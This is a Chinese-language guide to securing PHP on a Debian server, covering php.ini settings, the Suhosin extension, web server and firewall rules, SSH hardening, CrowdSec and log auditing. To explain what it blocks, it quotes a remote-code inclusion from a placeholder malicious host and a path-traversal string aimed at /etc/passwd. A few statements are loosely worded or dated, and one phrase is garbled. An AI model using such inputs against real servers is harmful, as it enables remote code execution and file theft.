保持系統和軟件包最新
定期運行sudo apt update && sudo apt upgrade -y
命令,及時修補Debian系統、PHP及關聯組件(如Web服務器、數據庫)的安全漏洞,減少被已知攻擊利用的風險。
優化PHP核心配置(php.ini)
display_errors
設置為Off
,避免將數據庫結構、路徑等敏感信息直接暴露給攻擊者;同時配置error_log
(如/var/log/php_errors.log
)記錄錯誤詳情,便于后續排查。expose_php = Off
,防止HTTP響應頭中泄露PHP版本(如X-Powered-By: PHP/8.2.0
),降低針對性攻擊的概率。register_globals
設置為Off
(PHP 5.4+默認禁用),避免表單提交的數據自動注冊為全局變量,減少SQL注入、代碼執行等腳本注入風險。open_basedir
指定PHP可訪問的目錄(如/var/www:/tmp
),防止通過PHP腳本非法讀取系統敏感文件(如/etc/passwd
)。allow_url_fopen
和allow_url_include
設置為Off
,阻斷通過URL訪問遠程文件或包含遠程腳本的行為(如include('http://malicious-site.com/code.php')
),防范遠程代碼執行攻擊。安裝安全擴展(如Suhosin)
Suhosin是PHP的強化擴展,可抵御緩沖區溢出、格式化字符串、會話固定等高級攻擊。安裝步驟:下載源碼包(如suhosin-0.9.37.1.tar.gz
),解壓后執行phpize && ./configure --with-php-config=/usr/local/bin/php-config && make && make install
,最后在php.ini
中添加extension=suhosin.so
啟用擴展。
強化Web服務器配置
mod_security
(Web應用防火墻模塊),過濾惡意請求;配置php.ini
中的cgi.fix_pathinfo=0
,防止路徑遍歷攻擊(如/wp-admin/../etc/passwd
)。fastcgi_pass
指向PHP-FPM的Unix套接字(如unix:/var/run/php/php8.2-fpm.sock
),避免通過TCP暴露PHP-FPM端口;設置location ~ \.php$
塊,限制僅處理.php
文件。配置防火墻限制訪問
使用ufw
(Uncomplicated Firewall)簡化規則配置:運行sudo ufw enable
啟用防火墻,允許HTTP(80/tcp)、HTTPS(443/tcp)和SSH(22/tcp)端口,拒絕其他不必要的入站流量(如sudo ufw deny 21/tcp
禁用FTP),僅允許可信IP訪問管理端口(如SSH)。
加強用戶與權限管理
sudo useradd -m myuser && sudo usermod -aG sudo myuser
),通過sudo
命令臨時提權執行管理任務。/etc/ssh/sshd_config
中的PermitRootLogin no
)、禁用密碼認證(設置PasswordAuthentication no
),強制使用SSH密鑰對認證(將公鑰添加至~/.ssh/authorized_keys
),降低SSH暴力破解風險。部署應用層安全工具
使用CrowdSec等開源防護工具,通過分析用戶行為識別惡意請求(如暴力破解、爬蟲、SQL注入),自動攔截攻擊IP。安裝后配置crowdsec
服務,訂閱規則集(如php
相關規則),實時防護PHP應用免受常見攻擊。
定期審計與監控
/var/log/php_errors.log
(PHP錯誤日志)、/var/log/apache2/access.log
(Apache訪問日志)或/var/log/nginx/access.log
(Nginx訪問日志),關注異常請求(如大量POST
請求、訪問/admin
路徑的陌生IP)。sudo fail2ban-client set ssh banip 192.168.1.100
);或使用Logwatch生成每日安全報告,匯總異?;顒?。